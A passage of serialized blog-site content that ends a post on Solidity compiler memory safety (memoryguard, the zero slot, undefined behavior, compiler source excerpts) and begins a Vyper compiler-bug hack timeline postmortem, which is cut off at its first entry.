store",{"type":20,"tag":315,"props":27831,"children":27832},{"style":328},[27833],{"type":26,"value":1049},{"type":20,"tag":315,"props":27835,"children":27836},{"style":765},[27837],{"type":26,"value":27838},"64",{"type":20,"tag":315,"props":27840,"children":27841},{"style":328},[27842],{"type":26,"value":44},{"type":20,"tag":315,"props":27844,"children":27845},{"style":345},[27846],{"type":26,"value":27786},{"type":20,"tag":315,"props":27848,"children":27849},{"style":328},[27850],{"type":26,"value":1049},{"type":20,"tag":315,"props":27852,"children":27853},{"style":765},[27854],{"type":26,"value":27855},"0x80",{"type":20,"tag":315,"props":27857,"children":27858},{"style":328},[27859],{"type":26,"value":18116},{"type":20,"tag":29,"props":27861,"children":27862},{},[27863,27865,27872],{"type":26,"value":27864},"From ",{"type":20,"tag":35,"props":27866,"children":27869},{"href":27867,"rel":27868},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[39],[27870],{"type":26,"value":27871},"the documentation",{"type":26,"value":2518},{"type":20,"tag":1312,"props":27874,"children":27875},{},[27876],{"type":20,"tag":29,"props":27877,"children":27878},{},[27879,27881,27887,27889,27895,27897,27902],{"type":26,"value":27880},"The caller of ",{"type":20,"tag":119,"props":27882,"children":27884},{"className":27883},[],[27885],{"type":26,"value":27886},"let ptr := memoryguard(size)",{"type":26,"value":27888}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":20,"tag":119,"props":27890,"children":27892},{"className":27891},[],[27893],{"type":26,"value":27894},"[0, size)",{"type":26,"value":27896}," or the unbounded range starting at ",{"type":20,"tag":119,"props":27898,"children":27900},{"className":27899},[],[27901],{"type":26,"value":12350},{"type":26,"value":61},{"type":20,"tag":29,"props":27904,"children":27905},{},[27906,27908,27913,27915,27921],{"type":26,"value":27907},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":20,"tag":119,"props":27909,"children":27911},{"className":27910},[],[27912],{"type":26,"value":27786},{"type":26,"value":27914}," return ",{"type":20,"tag":119,"props":27916,"children":27918},{"className":27917},[],[27919],{"type":26,"value":27920},"size + 32",{"type":26,"value":27922},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":20,"tag":29,"props":27924,"children":27925},{},[27926,27928,27935,27937,27942,27944,27949],{"type":26,"value":27927},"An example of this optimization in practice ",{"type":20,"tag":35,"props":27929,"children":27932},{"href":27930,"rel":27931},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[39],[27933],{"type":26,"value":27934},"is the StackLimitEvader",{"type":26,"value":27936},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":20,"tag":55,"props":27938,"children":27939},{},[27940],{"type":26,"value":27941},"only",{"type":26,"value":27943}," optimization pass that relies on the semantic information communicated by ",{"type":20,"tag":119,"props":27945,"children":27947},{"className":27946},[],[27948],{"type":26,"value":27786},{"type":26,"value":61},{"type":20,"tag":29,"props":27951,"children":27952},{},[27953],{"type":26,"value":27954},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":20,"tag":29,"props":27956,"children":27957},{},[27958,27960,27966],{"type":26,"value":27959},"Fear not, for we can remove this pointer entirely and call ",{"type":20,"tag":119,"props":27961,"children":27963},{"className":27962},[],[27964],{"type":26,"value":27965},"memoryguard(0x60)",{"type":26,"value":27967}," instead. The rest of the pipeline will still work.",{"type":20,"tag":21,"props":27969,"children":27970},{"id":27479},[27971],{"type":26,"value":27972},"Memory Safety",{"type":20,"tag":29,"props":27974,"children":27975},{},[27976],{"type":26,"value":27977},"So what does memory safety mean?",{"type":20,"tag":29,"props":27979,"children":27980},{},[27981,27983,27989],{"type":26,"value":27982},"The Solidity documentation provides ",{"type":20,"tag":35,"props":27984,"children":27986},{"href":27454,"rel":27985},[39],[27987],{"type":26,"value":27988},"a set of constraints",{"type":26,"value":27990},", not a definition.",{"type":20,"tag":1312,"props":27992,"children":27993},{},[27994,27999],{"type":20,"tag":29,"props":27995,"children":27996},{},[27997],{"type":26,"value":27998},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":20,"tag":68,"props":28000,"children":28001},{},[28002,28007,28012,28017],{"type":20,"tag":72,"props":28003,"children":28004},{},[28005],{"type":26,"value":28006},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":20,"tag":72,"props":28008,"children":28009},{},[28010],{"type":26,"value":28011},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":20,"tag":72,"props":28013,"children":28014},{},[28015],{"type":26,"value":28016},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":20,"tag":72,"props":28018,"children":28019},{},[28020],{"type":26,"value":28021},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":20,"tag":29,"props":28023,"children":28024},{},[28025,28027,28034,28044],{"type":26,"value":28026},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":20,"tag":35,"props":28028,"children":28031},{"href":28029,"rel":28030},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[39],[28032],{"type":26,"value":28033},"removes the memory guard",{"type":20,"tag":13875,"props":28035,"children":28036},{},[28037],{"type":20,"tag":35,"props":28038,"children":28042},{"href":28039,"ariaDescribedBy":28040,"dataFootnoteRef":7,"id":28041},"#user-content-fn-1",[13882],"user-content-fnref-1",[28043],{"type":26,"value":2406},{"type":26,"value":61},{"type":20,"tag":305,"props":28046,"children":28048},{"className":27525,"code":28047,"language":27527,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n Whiskers{\n _useMemoryGuard ?\n \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n }\n",[28049],{"type":20,"tag":119,"props":28050,"children":28051},{"__ignoreMap":7},[28052,28060,28068,28075,28110,28117,28125,28133,28141,28149,28157,28170,28183,28191],{"type":20,"tag":315,"props":28053,"children":28054},{"class":317,"line":318},[28055],{"type":20,"tag":315,"props":28056,"children":28057},{"style":1071},[28058],{"type":26,"value":28059},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":20,"tag":315,"props":28061,"children":28062},{"class":317,"line":356},[28063],{"type":20,"tag":315,"props":28064,"children":28065},{"style":1071},[28066],{"type":26,"value":28067},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":20,"tag":315,"props":28069,"children":28070},{"class":317,"line":365},[28071],{"type":20,"tag":315,"props":28072,"children":28073},{"emptyLinePlaceholder":15},[28074],{"type":26,"value":427},{"type":20,"tag":315,"props":28076,"children":28077},{"class":317,"line":374},[28078,28083,28088,28093,28097,28101,28106],{"type":20,"tag":315,"props":28079,"children":28080},{"style":322},[28081],{"type":26,"value":28082},"string",{"type":20,"tag":315,"props":28084,"children":28085},{"style":328},[28086],{"type":26,"value":28087}," IRGenerator::",{"type":20,"tag":315,"props":28089,"children":28090},{"style":345},[28091],{"type":26,"value":28092},"memoryInit",{"type":20,"tag":315,"props":28094,"children":28095},{"style":328},[28096],{"type":26,"value":1049},{"type":20,"tag":315,"props":28098,"children":28099},{"style":541},[28100],{"type":26,"value":436},{"type":20,"tag":315,"props":28102,"children":28103},{"style":635},[28104],{"type":26,"value":28105}," _useMemoryGuard",{"type":20,"tag":315,"props":28107,"children":28108},{"style":328},[28109],{"type":26,"value":380},{"type":20,"tag":315,"props":28111,"children":28112},{"class":317,"line":383},[28113],{"type":20,"tag":315,"props":28114,"children":28115},{"style":328},[28116],{"type":26,"value":723},{"type":20,"tag":315,"props":28118,"children":28119},{"class":317,"line":407},[28120],{"type":20,"tag":315,"props":28121,"children":28122},{"style":1071},[28123],{"type":26,"value":28124}," // This function should be called at the beginning of the EVM call frame\n",{"type":20,"tag":315,"props":28126,"children":28127},{"class":317,"line":421},[28128],{"type":20,"tag":315,"props":28129,"children":28130},{"style":1071},[28131],{"type":26,"value":28132}," // and thus can assume all memory to be zero, including the contents of\n",{"type":20,"tag":315,"props":28134,"children":28135},{"class":317,"line":430},[28136],{"type":20,"tag":315,"props":28137,"children":28138},{"style":1071},[28139],{"type":26,"value":28140}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":20,"tag":315,"props":28142,"children":28143},{"class":317,"line":453},[28144],{"type":20,"tag":315,"props":28145,"children":28146},{"style":525},[28147],{"type":26,"value":28148}," return\n",{"type":20,"tag":315,"props":28150,"children":28151},{"class":317,"line":486},[28152],{"type":20,"tag":315,"props":28153,"children":28154},{"style":328},[28155],{"type":26,"value":28156}," Whiskers{\n",{"type":20,"tag":315,"props":28158,"children":28159},{"class":317,"line":499},[28160,28165],{"type":20,"tag":315,"props":28161,"children":28162},{"style":328},[28163],{"type":26,"value":28164}," _useMemoryGuard ",{"type":20,"tag":315,"props":28166,"children":28167},{"style":334},[28168],{"type":26,"value":28169},"?\n",{"type":20,"tag":315,"props":28171,"children":28172},{"class":317,"line":513},[28173,28178],{"type":20,"tag":315,"props":28174,"children":28175},{"style":2652},[28176],{"type":26,"value":28177}," \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":20,"tag":315,"props":28179,"children":28180},{"style":334},[28181],{"type":26,"value":28182}," :\n",{"type":20,"tag":315,"props":28184,"children":28185},{"class":317,"line":521},[28186],{"type":20,"tag":315,"props":28187,"children":28188},{"style":2652},[28189],{"type":26,"value":28190}," \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":20,"tag":315,"props":28192,"children":28193},{"class":317,"line":552},[28194],{"type":20,"tag":315,"props":28195,"children":28196},{"style":328},[28197],{"type":26,"value":4265},{"type":20,"tag":29,"props":28199,"children":28200},{},[28201,28206,28208,28214],{"type":20,"tag":119,"props":28202,"children":28204},{"className":28203},[],[28205],{"type":26,"value":27794},{"type":26,"value":28207}," will now no longer have ",{"type":20,"tag":119,"props":28209,"children":28211},{"className":28210},[],[28212],{"type":26,"value":28213},"memoryguard(0x80)",{"type":26,"value":28215}," as expected.",{"type":20,"tag":305,"props":28217,"children":28219},{"className":307,"code":28218,"language":309,"meta":7,"style":7}," /// @src 0:26:371 \"contract XXX {...\"\n mstore(64, 128)\n",[28220],{"type":20,"tag":119,"props":28221,"children":28222},{"__ignoreMap":7},[28223,28238],{"type":20,"tag":315,"props":28224,"children":28225},{"class":317,"line":318},[28226,28230,28234],{"type":20,"tag":315,"props":28227,"children":28228},{"style":1071},[28229],{"type":26,"value":27811},{"type":20,"tag":315,"props":28231,"children":28232},{"style":541},[28233],{"type":26,"value":27816},{"type":20,"tag":315,"props":28235,"children":28236},{"style":1071},[28237],{"type":26,"value":27821},{"type":20,"tag":315,"props":28239,"children":28240},{"class":317,"line":356},[28241,28246,28250,28254,28258,28263],{"type":20,"tag":315,"props":28242,"children":28243},{"style":345},[28244],{"type":26,"value":28245}," mstore",{"type":20,"tag":315,"props":28247,"children":28248},{"style":328},[28249],{"type":26,"value":1049},{"type":20,"tag":315,"props":28251,"children":28252},{"style":765},[28253],{"type":26,"value":27838},{"type":20,"tag":315,"props":28255,"children":28256},{"style":328},[28257],{"type":26,"value":44},{"type":20,"tag":315,"props":28259,"children":28260},{"style":765},[28261],{"type":26,"value":28262},"128",{"type":20,"tag":315,"props":28264,"children":28265},{"style":328},[28266],{"type":26,"value":380},{"type":20,"tag":29,"props":28268,"children":28269},{},[28270,28272,28277,28279,28284],{"type":26,"value":28271},"Semantically, the absence of ",{"type":20,"tag":119,"props":28273,"children":28275},{"className":28274},[],[28276],{"type":26,"value":27786},{"type":26,"value":28278}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":20,"tag":119,"props":28280,"children":28282},{"className":28281},[],[28283],{"type":26,"value":27786},{"type":26,"value":28285}," invariant.",{"type":20,"tag":1312,"props":28287,"children":28288},{},[28289],{"type":20,"tag":29,"props":28290,"children":28291},{},[28292,28293,28298,28299,28304,28305,28310],{"type":26,"value":27880},{"type":20,"tag":119,"props":28294,"children":28296},{"className":28295},[],[28297],{"type":26,"value":27886},{"type":26,"value":27888},{"type":20,"tag":119,"props":28300,"children":28302},{"className":28301},[],[28303],{"type":26,"value":27894},{"type":26,"value":27896},{"type":20,"tag":119,"props":28306,"children":28308},{"className":28307},[],[28309],{"type":26,"value":12350},{"type":26,"value":61},{"type":20,"tag":29,"props":28312,"children":28313},{},[28314],{"type":26,"value":28315},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":20,"tag":21,"props":28317,"children":28319},{"id":28318},"undefined-behavior",[28320],{"type":26,"value":28321},"Undefined Behavior",{"type":20,"tag":29,"props":28323,"children":28324},{},[28325,28327,28332,28334,28339,28341,28347],{"type":26,"value":28326},"How strict is memory safety? When it comes to ",{"type":20,"tag":119,"props":28328,"children":28330},{"className":28329},[],[28331],{"type":26,"value":27786},{"type":26,"value":28333},", only touching memory after 0x80 seems to matter. Is ",{"type":20,"tag":119,"props":28335,"children":28337},{"className":28336},[],[28338],{"type":26,"value":27444},{"type":26,"value":28340}," annotated assembly that touches memory at ",{"type":20,"tag":119,"props":28342,"children":28344},{"className":28343},[],[28345],{"type":26,"value":28346},"[0x40, 0x7f]",{"type":26,"value":28348}," really safe?",{"type":20,"tag":29,"props":28350,"children":28351},{},[28352,28353,28360,28362,28367],{"type":26,"value":15015},{"type":20,"tag":35,"props":28354,"children":28357},{"href":28355,"rel":28356},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[39],[28358],{"type":26,"value":28359},"Solidity documentation",{"type":26,"value":28361}," mentions ",{"type":20,"tag":55,"props":28363,"children":28364},{},[28365],{"type":26,"value":28366},"undefined behavior",{"type":26,"value":28368}," three times.",{"type":20,"tag":68,"props":28370,"children":28371},{},[28372,28377,28392],{"type":20,"tag":72,"props":28373,"children":28374},{},[28375],{"type":26,"value":28376},"The existence of a dangling reference",{"type":20,"tag":72,"props":28378,"children":28379},{},[28380,28382],{"type":26,"value":28381},"Using verbatim improperly",{"type":20,"tag":13875,"props":28383,"children":28384},{},[28385],{"type":20,"tag":35,"props":28386,"children":28390},{"href":28387,"ariaDescribedBy":28388,"dataFootnoteRef":7,"id":28389},"#user-content-fn-2",[13882],"user-content-fnref-2",[28391],{"type":26,"value":1504},{"type":20,"tag":72,"props":28393,"children":28394},{},[28395],{"type":26,"value":28396},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":20,"tag":29,"props":28398,"children":28399},{},[28400],{"type":26,"value":28401},"Why does this matter?",{"type":20,"tag":29,"props":28403,"children":28404},{},[28405,28407,28414,28416,28423],{"type":26,"value":28406},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":20,"tag":35,"props":28408,"children":28411},{"href":28409,"rel":28410},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[39],[28412],{"type":26,"value":28413},"signed integer overflow is undefined",{"type":26,"value":28415},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":20,"tag":35,"props":28417,"children":28420},{"href":28418,"rel":28419},"https://blog.regehr.org/archives/1307",[39],[28421],{"type":26,"value":28422},"years down the line",{"type":26,"value":61},{"type":20,"tag":29,"props":28425,"children":28426},{},[28427,28429,28436,28437,28442],{"type":26,"value":28428},"Going back to Solidity, the specification makes ",{"type":20,"tag":35,"props":28430,"children":28433},{"href":28431,"rel":28432},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[39],[28434],{"type":26,"value":28435},"it unambiguously clear",{"type":26,"value":16935},{"type":20,"tag":55,"props":28438,"children":28439},{},[28440],{"type":26,"value":28441},"Thou shalt not modify the zero slot",{"type":26,"value":61},{"type":20,"tag":1312,"props":28444,"children":28445},{},[28446],{"type":20,"tag":29,"props":28447,"children":28448},{},[28449],{"type":26,"value":28450},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":20,"tag":29,"props":28452,"children":28453},{},[28454,28456,28461],{"type":26,"value":28455},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":20,"tag":55,"props":28457,"children":28458},{},[28459],{"type":26,"value":28460},"in Solidity",{"type":26,"value":61},{"type":20,"tag":29,"props":28463,"children":28464},{},[28465],{"type":26,"value":28466},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":20,"tag":68,"props":28468,"children":28469},{},[28470],{"type":20,"tag":72,"props":28471,"children":28472},{},[28473,28475,28482],{"type":26,"value":28474},"It very clearly ",{"type":20,"tag":35,"props":28476,"children":28479},{"href":28477,"rel":28478},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[39],[28480],{"type":26,"value":28481},"holds true today",{"type":26,"value":61},{"type":20,"tag":305,"props":28484,"children":28486},{"className":27525,"code":28485,"language":27527,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n setLocation(_inlineAsm);\n if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n m_context.setMemoryUnsafeInlineAssemblySeen();\n CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[28487],{"type":20,"tag":119,"props":28488,"children":28489},{"__ignoreMap":7},[28490,28530,28537,28550,28622,28643,28694,28701],{"type":20,"tag":315,"props":28491,"children":28492},{"class":317,"line":318},[28493,28497,28502,28507,28511,28516,28521,28526],{"type":20,"tag":315,"props":28494,"children":28495},{"style":541},[28496],{"type":26,"value":436},{"type":20,"tag":315,"props":28498,"children":28499},{"style":328},[28500],{"type":26,"value":28501}," IRGeneratorForStatements::",{"type":20,"tag":315,"props":28503,"children":28504},{"style":345},[28505],{"type":26,"value":28506},"visit",{"type":20,"tag":315,"props":28508,"children":28509},{"style":328},[28510],{"type":26,"value":1049},{"type":20,"tag":315,"props":28512,"children":28513},{"style":322},[28514],{"type":26,"value":28515},"InlineAssembly",{"type":20,"tag":315,"props":28517,"children":28518},{"style":541},[28519],{"type":26,"value":28520}," const&",{"type":20,"tag":315,"props":28522,"children":28523},{"style":635},[28524],{"type":26,"value":28525}," _inlineAsm",{"type":20,"tag":315,"props":28527,"children":28528},{"style":328},[28529],{"type":26,"value":380},{"type":20,"tag":315,"props":28531,"children":28532},{"class":317,"line":356},[28533],{"type":20,"tag":315,"props":28534,"children":28535},{"style":328},[28536],{"type":26,"value":723},{"type":20,"tag":315,"props":28538,"children":28539},{"class":317,"line":365},[28540,28545],{"type":20,"tag":315,"props":28541,"children":28542},{"style":345},[28543],{"type":26,"value":28544}," setLocation",{"type":20,"tag":315,"props":28546,"children":28547},{"style":328},[28548],{"type":26,"value":28549},"(_inlineAsm);\n",{"type":20,"tag":315,"props":28551,"children":28552},{"class":317,"line":374},[28553,28557,28561,28565,28570,28574,28579,28584,28589,28593,28597,28601,28605,28609,28613,28618],{"type":20,"tag":315,"props":28554,"children":28555},{"style":525},[28556],{"type":26,"value":10680},{"type":20,"tag":315,"props":28558,"children":28559},{"style":328},[28560],{"type":26,"value":463},{"type":20,"tag":315,"props":28562,"children":28563},{"style":334},[28564],{"type":26,"value":901},{"type":20,"tag":315,"props":28566,"children":28567},{"style":635},[28568],{"type":26,"value":28569},"_inlineAsm",{"type":20,"tag":315,"props":28571,"children":28572},{"style":328},[28573],{"type":26,"value":61},{"type":20,"tag":315,"props":28575,"children":28576},{"style":345},[28577],{"type":26,"value":28578},"annotation",{"type":20,"tag":315,"props":28580,"children":28581},{"style":328},[28582],{"type":26,"value":28583},"().",{"type":20,"tag":315,"props":28585,"children":28586},{"style":635},[28587],{"type":26,"value":28588},"hasMemoryEffects",{"type":20,"tag":315,"props":28590,"children":28591},{"style":334},[28592],{"type":26,"value":12586},{"type":20,"tag":315,"props":28594,"children":28595},{"style":334},[28596],{"type":26,"value":11264},{"type":20,"tag":315,"props":28598,"children":28599},{"style":635},[28600],{"type":26,"value":28569},{"type":20,"tag":315,"props":28602,"children":28603},{"style":328},[28604],{"type":26,"value":61},{"type":20,"tag":315,"props":28606,"children":28607},{"style":345},[28608],{"type":26,"value":28578},{"type":20,"tag":315,"props":28610,"children":28611},{"style":328},[28612],{"type":26,"value":28583},{"type":20,"tag":315,"props":28614,"children":28615},{"style":635},[28616],{"type":26,"value":28617},"markedMemorySafe",{"type":20,"tag":315,"props":28619,"children":28620},{"style":328},[28621],{"type":26,"value":380},{"type":20,"tag":315,"props":28623,"children":28624},{"class":317,"line":383},[28625,28630,28634,28639],{"type":20,"tag":315,"props":28626,"children":28627},{"style":635},[28628],{"type":26,"value":28629}," m_context",{"type":20,"tag":315,"props":28631,"children":28632},{"style":328},[28633],{"type":26,"value":61},{"type":20,"tag":315,"props":28635,"children":28636},{"style":345},[28637],{"type":26,"value":28638},"setMemoryUnsafeInlineAssemblySeen",{"type":20,"tag":315,"props":28640,"children":28641},{"style":328},[28642],{"type":26,"value":568},{"type":20,"tag":315,"props":28644,"children":28645},{"class":317,"line":407},[28646,28651,28655,28659,28664,28669,28673,28677,28681,28685,28690],{"type":20,"tag":315,"props":28647,"children":28648},{"style":328},[28649],{"type":26,"value":28650}," CopyTranslate bodyCopier{",{"type":20,"tag":315,"props":28652,"children":28653},{"style":635},[28654],{"type":26,"value":28569},{"type":20,"tag":315,"props":28656,"children":28657},{"style":328},[28658],{"type":26,"value":61},{"type":20,"tag":315,"props":28660,"children":28661},{"style":345},[28662],{"type":26,"value":28663},"dialect",{"type":20,"tag":315,"props":28665,"children":28666},{"style":328},[28667],{"type":26,"value":28668},"(), m_context, ",{"type":20,"tag":315,"props":28670,"children":28671},{"style":635},[28672],{"type":26,"value":28569},{"type":20,"tag":315,"props":28674,"children":28675},{"style":328},[28676],{"type":26,"value":61},{"type":20,"tag":315,"props":28678,"children":28679},{"style":345},[28680],{"type":26,"value":28578},{"type":20,"tag":315,"props":28682,"children":28683},{"style":328},[28684],{"type":26,"value":28583},{"type":20,"tag":315,"props":28686,"children":28687},{"style":635},[28688],{"type":26,"value":28689},"externalReferences",{"type":20,"tag":315,"props":28691,"children":28692},{"style":328},[28693],{"type":26,"value":14979},{"type":20,"tag":315,"props":28695,"children":28696},{"class":317,"line":421},[28697],{"type":20,"tag":315,"props":28698,"children":28699},{"emptyLinePlaceholder":15},[28700],{"type":26,"value":427},{"type":20,"tag":315,"props":28702,"children":28703},{"class":317,"line":430},[28704,28709,28713,28718,28722,28726,28730,28735],{"type":20,"tag":315,"props":28705,"children":28706},{"style":328},[28707],{"type":26,"value":28708}," yul::Statement modified ",{"type":20,"tag":315,"props":28710,"children":28711},{"style":334},[28712],{"type":26,"value":337},{"type":20,"tag":315,"props":28714,"children":28715},{"style":345},[28716],{"type":26,"value":28717}," bodyCopier",{"type":20,"tag":315,"props":28719,"children":28720},{"style":328},[28721],{"type":26,"value":1049},{"type":20,"tag":315,"props":28723,"children":28724},{"style":635},[28725],{"type":26,"value":28569},{"type":20,"tag":315,"props":28727,"children":28728},{"style":328},[28729],{"type":26,"value":61},{"type":20,"tag":315,"props":28731,"children":28732},{"style":345},[28733],{"type":26,"value":28734},"operations",{"type":20,"tag":315,"props":28736,"children":28737},{"style":328},[28738],{"type":26,"value":28739},"());`\n",{"type":20,"tag":68,"props":28741,"children":28742},{"start":356},[28743],{"type":20,"tag":72,"props":28744,"children":28745},{},[28746],{"type":26,"value":28747},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":20,"tag":29,"props":28749,"children":28750},{},[28751],{"type":26,"value":28752},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":20,"tag":21,"props":28754,"children":28755},{"id":3702},[28756],{"type":26,"value":3705},{"type":20,"tag":29,"props":28758,"children":28759},{},[28760],{"type":26,"value":28761},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":20,"tag":29,"props":28763,"children":28764},{},[28765],{"type":26,"value":28766},"It's a promise between YUL generation and optimization.",{"type":20,"tag":16825,"props":28768,"children":28770},{"className":28769,"dataFootnotes":7},[16828],[28771,28776],{"type":20,"tag":21,"props":28772,"children":28774},{"className":28773,"id":13882},[16833],[28775],{"type":26,"value":16836},{"type":20,"tag":68,"props":28777,"children":28778},{},[28779,28813],{"type":20,"tag":72,"props":28780,"children":28782},{"id":28781},"user-content-fn-1",[28783,28785,28790,28792,28798,28800,28805,28807],{"type":26,"value":28784},"As an interesting aside, ",{"type":20,"tag":119,"props":28786,"children":28788},{"className":28787},[],[28789],{"type":26,"value":27786},{"type":26,"value":28791}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":20,"tag":119,"props":28793,"children":28795},{"className":28794},[],[28796],{"type":26,"value":28797},"memory-unsafe",{"type":26,"value":28799}," code can ",{"type":20,"tag":55,"props":28801,"children":28802},{},[28803],{"type":26,"value":28804},"decrease",{"type":26,"value":28806}," gas consumption, especially in the YUL header. ",{"type":20,"tag":35,"props":28808,"children":28811},{"href":28809,"ariaLabel":16939,"className":28810,"dataFootnoteBackref":7},"#user-content-fnref-1",[16941],[28812],{"type":26,"value":16944},{"type":20,"tag":72,"props":28814,"children":28816},{"id":28815},"user-content-fn-2",[28817,28819,28824,28826],{"type":26,"value":28818},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":20,"tag":55,"props":28820,"children":28821},{},[28822],{"type":26,"value":28823},"guarantee",{"type":26,"value":28825}," behavior with opaque bytes. ",{"type":20,"tag":35,"props":28827,"children":28830},{"href":28828,"ariaLabel":16959,"className":28829,"dataFootnoteBackref":7},"#user-content-fnref-2",[16941],[28831],{"type":26,"value":16944},{"type":20,"tag":1226,"props":28833,"children":28834},{},[28835],{"type":26,"value":1230},{"title":7,"searchDepth":356,"depth":356,"links":28837},[28838,28839,28840,28841,28842,28843,28844],{"id":23,"depth":356,"text":27},{"id":27484,"depth":356,"text":27487},{"id":27748,"depth":356,"text":27751},{"id":27479,"depth":356,"text":27972},{"id":28318,"depth":356,"text":28321},{"id":3702,"depth":356,"text":3705},{"id":13882,"depth":356,"text":16836},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":28849,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":28850,"description":28851,"author":11,"image":28852,"date":28854,"isFeatured":15,"onBlogPage":15,"tags":28855,"body":28857,"_type":1242,"_id":29608,"_source":1244,"_file":29609,"_stem":29610,"_extension":1247},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":28853,"height":12024,"width":12024},"/posts/vyper-timeline/header.jpg","2023-08-01",[28856,27427],"vyper",{"type":17,"children":28858,"toc":29599},[28859,28864,28869,28874,28880,28885,28903,28913,28918,28926,28936,28955,29035,29045,29205,29210,29215,29225,29232,29237,29242,29256,29261,29278,29295,29314,29324,29337,29342,29355,29360,29365,29375,29402,29412,29442,29448,29457,29463,29468,29473,29478,29484,29489,29503,29508,29513,29518,29524,29529,29542,29568,29573,29595],{"type":20,"tag":29,"props":28860,"children":28861},{},[28862],{"type":26,"value":28863},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":20,"tag":29,"props":28865,"children":28866},{},[28867],{"type":26,"value":28868},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":20,"tag":29,"props":28870,"children":28871},{},[28872],{"type":26,"value":28873},"Here's how it all happened.",{"type":20,"tag":21,"props":28875,"children":28877},{"id":28876},"timeline",[28878],{"type":26,"value":28879},"Timeline",{"type":20,"tag":29,"props":28881,"children":28882},{},[28883],{"type":26,"value":28884},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":20,"tag":29,"props":28886,"children":28887},{},[28888,28893,28895,28902],{"type":20,"tag":3717,"props":28889,"children":28890},{},[28891],{"type":26,"value":28892},"13:10 UTC",{"type":26,"value":28894}," pETH/ETH was ",{"type":20,"tag":35,"props":28896,"children":28899},{"href":28897,"rel":28898},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[39],[28900],{"type":26,"value":28901},"drained of 